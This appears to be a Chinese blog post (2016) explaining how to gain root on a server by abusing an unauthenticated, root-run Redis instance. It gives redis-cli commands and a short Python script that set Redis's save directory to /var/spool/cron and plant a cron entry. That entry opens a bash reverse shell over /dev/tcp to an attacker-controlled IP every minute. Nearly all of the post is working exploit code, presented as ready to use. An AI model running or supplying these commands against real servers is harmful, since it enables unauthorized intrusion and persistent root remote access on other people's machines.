redis写定时任务获取root权限

前提:

1.redis由root用户启动。

2.开启cron的时候,/var/spool/cron linux机器下默认的计划任务,linux会定时去执行里面的任务。

启动服务 :/sbin/service crond start 或 /etc/init.d/crond start(centos系列)    sudo /etc/init.d/cron start (ubuntu系列)

一.windows下

config set dir /var/spool/cron
config set dbfilename root
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
save

二.linux下

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -x set 1
redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
redis-cli -h 192.168.118.129 config set dbfilename root
redis-cli -h 192.168.118.129 save

三.再贴一段python代码

import redis
def shell_exploit():
    try:
        r =redis.StrictRedis(host='192.168.118.129',port=6379,db=0,socket_timeout=10)
        r.set(1, '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/your_ip/3333 0>&1\n\n')
        r.config_set('dir','/var/spool/cron')
        r.config_set('dbfilename','root')
        r.save()
        print "success!"
    except:
        print "fail!"
        pass
shell_exploit()

反弹成功,root权限!

 

posted @ 2016-11-18 19:52  Dleo  阅读(3543)  评论(0编辑  收藏  举报